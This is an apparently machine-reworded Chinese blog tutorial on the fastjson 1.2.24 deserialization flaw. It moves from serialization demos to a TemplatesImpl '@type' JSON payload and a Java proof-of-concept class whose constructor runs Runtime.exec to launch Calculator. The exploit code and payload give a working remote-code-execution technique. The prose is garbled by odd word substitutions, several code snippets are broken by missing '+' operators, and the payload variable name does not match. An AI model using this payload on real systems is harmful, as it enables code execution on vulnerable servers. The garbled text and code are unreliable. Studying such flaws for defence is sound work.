从0开始fastjson系统漏洞剖析

  有关fastjson漏洞检测参照:https://www.cnblogs.com/piaomiaohongchen/p/10799466.html

  fastjson这一系统漏洞出来好长时间,一直没空剖析,耽误了,今日拾起来

  由于我们要剖析fastjson有关系统漏洞,因此 大家先去学习fastjson的基本应用,如果我们连fastjson都不清楚,更谈何系统漏洞剖析呢?

  最先先构建有关系统漏洞自然环境:

  应用maven,十分便捷大家转换有关系统漏洞版本号:

  pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>groupId</groupId>
    <artifactId>Java_Test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/com.Google.common/google-collect -->
        <!-- https://mvnrepository.com/artifact/com.google.guava/guava -->
        <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
    <!--fastjson1.2.24自然环境安裝-->
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>

        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>RELEASE</version>
            <scope>compile</scope>
        </dependency>
    </dependencies>
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>
</project>

 

 

 

 

  随后点一下更新按键,会全自动帮大家安裝有关依靠

  到此,大家就有着了fastjson自然环境

  什么叫fastjson?

      fastjson是一个Java语言表达撰写的性能卓越功能齐全的JSON库。它选用一种“假设井然有序迅速配对”的优化算法,把JSON Parse的特性提高到完美,是现阶段Java语言表达中更快的JSON库。Fastjson插口简易实用,早已被普遍应用在缓存文件实例化、协议书互动、Web輸出、Android手机客户端等多种多样应用领域。 

  通俗一点说便是帮大家解决json数据信息的

      搓个demo:

    Student.java:

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){

    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{"  
                "id="   id  
                ", name='"   name   '\''  
                ", age="   age  
                '}';
    }
}

 

  Teacher.java:

    

package com.test.fastjson;

import java.util.List;

public class Teacher {
    private int id;
    private String name;
    private List<Student> studentList;
    public Teacher(){

    }

    public Teacher(int id, String name, List<Student> studentList) {
        this.id = id;
        this.name = name;
        this.studentList = studentList;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public List<Student> getStudentList() {
        return studentList;
    }

    public void setStudentList(List<Student> studentList) {
        this.studentList = studentList;
    }

    @Override
    public String toString() {
        return "Teacher{"  
                "id="   id  
                ", name='"   name   '\''  
                ", studentList="   studentList  
                '}';
    }
}

 

  

  撰写检测类:

    

 @Test
    public void fastjson_test1(){
        Student student = new Student(1,"jack",24);
        System.out.println(JSON.toJSON(student));
    }

  

 

 

  把目标转化成json文件格式数据信息

  适用繁杂的目标变换json解决:  

@Test
    public void fastjson_test2(){
       List<Student> studentList = new ArrayList<Student>();
       for(int i=0;i<4;i  ){
           Student student = new Student(i, "jack"   i, 23   i);
           studentList.add(student);
       }
       List<Teacher> teacherList = new ArrayList<Teacher>();
       Teacher teacher = new Teacher();
       teacher.setStudentList(studentList);
        System.out.println(JSON.toJSON(teacher));
    }

  

 

 

  除开应用toJSON方式 变换外,还能够应用toJSONString方式 :

    

@Test
    public void fastjson_test3(){
        Student student = new Student(1,"jack",24);
        System.out.println(JSON.toJSONString(student));
    }

 

  

 

 

   查询回到种类,String种类

  

 

 

  表明是把student目标数据交换成字符串数组json数据信息

  JSON.toJSONString的拓展:   

  要求以下:只必须Student目标的id和age字段名,不必name字段名,如何做?

  

   @Test
    public void fastjson_test4(){
        Student student = new Student(1,"jack",24);
        //过虑只需id和age字段名
        SimplePropertyPreFilter filter = new SimplePropertyPreFilter(Student.class,"id","age");
        String value = JSON.toJSONString(student, filter);
        System.out.println(value);
    }

  设定保存id和age字段名

  

 

  根据上边的学习培训知道假如想把目标转化成json数据信息能够 应用JSON.toJSON,或是应用JSON.toJSONString

  大家继续学习,下一步大家试着把json数据交换成目标,复原大家的目标:

  

//反序列化,str种类数据交换成class种类目标
    @Test
    public void fastjson_test5(){
        Student student = new Student(1,"jack",24);
        String value = JSON.toJSONString(student);
        System.out.println("转化成json数据信息");
        System.out.println(value);
        System.out.println("str种类json数据交换成class种类目标");
        System.out.println(JSON.parseObject(value, Student.class));
    }

  

  

 

 

 

   根据上边编码,我们可以发觉一个关键:

    fastjson会解决字符串类型的json数据信息,上边的value自变量是字符串类型,这对大家事后系统漏洞剖析很有协助

   再次拓展JSON.toJSONString:

      

 @Test
    public void fastjson_test6(){
        Student student = new Student(1,"jack",24);
        String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(value);
        Student student1 = JSON.parseObject(value, Student.class);
        System.out.println(student1);
    }

    

 

 

  把結果輸出出去:

    

{"@type":"com.test.fastjson.Student","age":24,"id":1,"name":"jack"}
Student{id=1, name='jack', age=24}

  发觉多了个@type字段名,表明了大家Student目标转化成json数据信息的基本数据类型,告知我们都是com.test.fastjson.Student种类的数据信息被转化成json数据信息了.

  大家继续学习:

    前边讲了fastjson会解决大家的字符串数组json,立即写一段字符串数组json数据信息:

    

    @Test
    public void fastjson_test7(){
        String jsonStr="{\"age\":24,\"id\":1,\"name\":\"jack\"}";
        System.out.println(jsonStr);
        System.out.println(getType(jsonStr));
        System.out.println(JSON.parseObject(jsonStr));
    }

 

  

 

 

  大家那样写,会发觉最终字符串数组json沒有转化成目标

  为何? 

  由于fastjson找不着我们要变换的json数据信息在哪个类,这儿我们要申明种类:

  再度改动:

    

@Test
    public void fastjson_test7(){
        String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}";
        System.out.println(getType(jsonStr));
        System.out.println(JSON.parseObject(jsonStr));
    }

 

  

 

 

 

   有趣的地区来啦,申明种类后的字符串数组json数据信息,fastjson并沒有把它转化成目标:

  深层次追踪下:

   在JSON.parseObject处打个中断点:

 

    跟进去:

    

 

 

  再次进涵数:

    

 

 

    

value=Student{id=1, name='jack', age=24}

  再次下一步:

    

 

  

 return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);

  分辨引入obj偏向的目标是不是JSONObject,如果是就立即回到,不然就回到toJSON解决:

  再次下一步实行:

    

 

 

  了解吧toJSON,把大家的student目标再度转化成了json数据信息...:

    那麼最终的回到便是:

    

 

 

  解决方案:应用parse更换parseObject:

    

@Test
    public void fastjson_test7(){
        String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}";
        System.out.println(getType(jsonStr));
        System.out.println(JSON.parse(jsonStr));
    }

  这一次,大家取得成功把字符串数组json数据交换变成目标:  

 

 

   很有可能做为开发设计,到这一步早已学完后基本的常见使用方法,可是针对安全性而言,这儿很有可能是不是很有可能会存有安全风险呢?

  猜想:fastjson会依据大家声明的种类,fastjson在反序列化大家的字符串数组json数据信息的情况下,会把它转化成目标,那麼如果我们的type字段名上键入故意类,是不是会在java反序列化的情况下造成安全隐患呢?

  这就是fastjson网络安全问题的最开始造成,故意改动type类,造成安全隐患

   深入分析fastjson的目标转json,json转目标的启用体制:

  改动大家的Student.java:

    

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{"  
                "id="   id  
                ", name='"   name   '\''  
                ", age="   age  
                '}';
    }
}

 

  清除大家的构造函数:

    撰写测试标准:

    

@Test
    public void fastjson_test6(){
        Student student = new Student(1,"jack",24);
        String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(value);
        Student student1 = JSON.parseObject(value, Student.class);
        System.out.println(student1);
    }

 

    

 

 

  立即出错了,发觉大家json转str不成功,大家反序列化不成功,出错提醒默认设置的构造函数不会有,表明前提条件1:fastjson反序列化务必要构造函数

  再度改动student.java:

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你务必启用我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{"  
                "id="   id  
                ", name='"   name   '\''  
                ", age="   age  
                '}';
    }
}

  

  再度运作上边的测试标准:

    

 

 

 

    再次探寻:

    再度改动student.java:

   

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你务必启用我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
        System.out.println("setId被启用");
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{"  
                "id="   id  
                ", name='"   name   '\''  
                ", age="   age  
                '}';
    }
}

 

  在set方式 中增加了一条輸出句子

    再度运作上边的测试标准:

    

 

 

  试着删掉set方式 :

    改动student.java:

    

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你务必启用我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

//    public void setId(int id) {
//        this.id = id;
//        System.out.println("setId被启用");
//    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{"  
                "id="   id  
                ", name='"   name   '\''  
                ", age="   age  
                '}';
    }
}

  编码中注解了setId方式

  再度运作:

  

 

 

  结果:反序列化目标的情况下,假如目标中的特性界定是private,那麼务必设定set方式 ,protected修饰符也是一样,务必设定set方式

  仅有set方式 ,沒有界定get方式 能够 被反序列化吗?

    注解掉get方式 ,保存set方式 :

    

 

 

   结果:不能,起码在JSON.parseObject下是不能的

  汇总:应用JSON.parseObject反序列化的情况下,特性字段名如果是private和protected装饰的情况下,务必有set和get方式 ,不然很有可能造成一些字段名反序列化不成功

  再度改动student.java文件:

    

package com.test.fastjson;

public class Student {
    public int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你务必启用我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

//    public int getId() {
//        return id;
//    }

//    public void setId(int id) {
//        this.id = id;
//        System.out.println("setId被启用");
//    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{"  
                "id="   id  
                ", name='"   name   '\''  
                ", age="   age  
                '}';
    }
}

    改动private为public,注解掉set和get方式

  再度运作测试标准:

    

 

 

 

  结果:public字段名下,set/get无关紧要

  或是返回priavte字段名难题,再度改动student.class:

    

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你务必启用我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

//    public void setId(int id) {
//        this.id = id;
//        System.out.println("setId被启用");
//    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{"  
                "id="   id  
                ", name='"   name   '\''  
                ", age="   age  
                '}';
    }
}

  注解了set方式 ,保存get方式 :

   前边讲了,set和get方式 缺一不可,因此 大家JSON.ParseObject,一定是反序列化不成功的

   是不是有解决方法?

      改动测试标准为:

    

 @Test
    public void fastjson_test6(){
        Student student = new Student(1,"jack",24);
        String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(value);
        Student student1 = JSON.parseObject(value, Student.class,Feature.SupportNonPublicField);
        System.out.println(student1);
    }

  再度运作:

 

 

  Feature.SupportNonPublicField能够 使我们忽视设定set方式 ,只需设定get方式 ,就能达到反序列化

  最后结果汇总:fastjson反序列化取决于set和get方式 ,并且务必要有构造函数,最优先选择启用的是构造函数,fastjson设定Feature.SupportNonPublicField,能够 忽视set方式 ,JSON.Parse反序列化和JSON.ParseObject一样

 

   好啦,基本一部分所有说完了,包含他反序列化和字段名及其构造函数的启用难题

  下边详细介绍fastjson第一个系统漏洞:

    运用链:Fastjson 1.2.24 远程控制编码执⾏&&TemplatesImpl,依靠Feature.SupportNonPublicField 运用链较为可有可无

   可是剖析这条运用链,能够 使你很清晰了解fastjson內部是怎么开展实例化的,反序列化的,根据前边写的demo,大家早已对fastjson內部解决目标和json变换目标拥有比较详尽的认知能力

     poc结构:我是mac,Windows立即calc就可以:

      Poc1.java:

package com.test.fastjson;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Poc1 extends AbstractTranslet {
    public Poc1() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) throws IOException {
        Poc1 poc1 = new Poc1();
    }
}

 

  编译程序运作一次转化成字节码,随后全局性base64编号:

    

 

   反序列化进攻:

    AttackPoc1.java:

package com.test.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class AttackPoc1 {
    public static void main(String[] args) throws ClassNotFoundException {
        String payload3= "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":\n"  
                "[\"刚转化成的base64编号的字节码数据信息\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":\n"  
                "{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
        JSON.parseObject(payload,Feature.SupportNonPublicField);
    }
}

  运作: 

 

 

 

   取得成功指令实行弹出窗口计算方式

  基本原理剖析,先抛出去疑虑点:

    除去Feature.SupportNonPublicField还能够指令实行吗?

    

 

  运作沒有指令实行,前边大家学了Feature.SupportNonPublicField是在我们设定get方式 ,而沒有设定set方式 的挽救,即便沒有set方式 也会帮大家反序列化取得成功

  跟踪TemplatesImpl类:能够 debug进来,这儿我选择反射面进来:

    

Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

 

 

 

   以这一字段名为例子:

    

 

 

     

 

 

  检索setOutputProperties:

    

 

   因此 大家他一定要取决于Feature.SupportNonPublicField

     打个中断点,深层次追踪下:

      处理大家的好多个疑虑

      (1)为何_bytecodes界定的数据信息得是base64编号

      (2)fastjson反序列化是如何走的?

  下一个中断点:  

  

 

 

  先弄清楚第一个难题bytecodes字节码为什么是base64编号:

       

  分辨开始键入是不是{:

 

 

  再次向下:

 

    

 

  设定token为12,很重要,后边的分辨都需要根据token:

  

 

 

  一直下一步实行:

    

 

 

根据loadClass载入大家的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类:

  结合储存故意类:

    

 

 

  

 随后持续分辨大家的clazz是什么种类:

  

 

 

  不满足条件就再次向下找:

  根据反射面获得全部的方式

      

 

 

  

 分辨方式 的界定标准:

  

 

   

if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
                    Class<?>[] types = method.getParameterTypes();

  方式 名称要合乎这一标准:

  获得字段名:

    

 

 

  debug确实脑子疼:

  关键来啦:

    反序列化字段名:

    

 

   

 

  再次向下跟:

    

 

    再次向下:

    

 

 

  

 

 

   最终出调用函数parseObject:

   

 

 

 

 

  最终运行命令:

    

 

 

 

2.bytescodes base编号缘由:

反序列化的情况下启用:

  

 byte[] bytes = lexer.bytesValue();
            lexer.nextToken(16);

 

    

 

会启用base64编解码:

 

 

 

 静态数据调节下:

    

 

 

  跟踪方式 :

  

 

 

  方式 在接口类中,找插口完成类:

    检索到一个:

    

 

 

  进来:

    

 

 

  发觉是个抽象类:

    java基本关键定义:    

    

假如想完成抽象类中的方式 ,必须派生类承继父类,随后调用方式 .

  找寻他的派生类:

    

 

 

  查询他的派生类:

 

   

 

 

  

  他的父类是object:

    

 

 

  挑选他的派生类进来看一下:

     检索byteValue,查询其涵数完成:

    

 

 

 

 

    到此第一条可有可无的运用链分析结束,明日我剖析下不可有可无的运用链,运用jndi引入立即rce  

 

  

 

 

 

 

 

 

  

 

  

 

  

评论(0条)

刀客源码 游客评论